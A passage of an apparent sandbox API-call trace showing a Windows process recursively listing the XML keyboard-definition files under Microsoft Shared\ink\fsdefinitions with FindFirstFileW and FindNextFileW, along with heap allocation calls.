nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0079.169] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0079.169] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0079.169] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0079.169] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.169] GetProcessHeap () returned 0x470000 [0079.169] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.169] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0079.169] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0079.169] GetProcessHeap () returned 0x470000 [0079.169] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.170] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.170] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0079.170] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0079.170] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.170] GetProcessHeap () returned 0x470000 [0079.170] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.170] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0079.171] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0079.171] GetProcessHeap () returned 0x470000 [0079.171] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.172] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.172] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0079.172] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0079.172] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.172] GetProcessHeap () returned 0x470000 [0079.172] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.172] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0079.173] GetProcessHeap () returned 0x470000 [0079.173] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.173] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0079.173] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.173] GetProcessHeap () returned 0x470000 [0079.173] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0079.174] GetProcessHeap () returned 0x470000 [0079.174] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.174] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0079.174] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.174] GetProcessHeap () returned 0x470000 [0079.174] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0079.175] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0079.175] GetProcessHeap () returned 0x470000 [0079.175] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.175] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.175] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0079.175] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0079.175] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0079.175] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0079.176] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.176] GetProcessHeap () returned 0x470000 [0079.176] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: 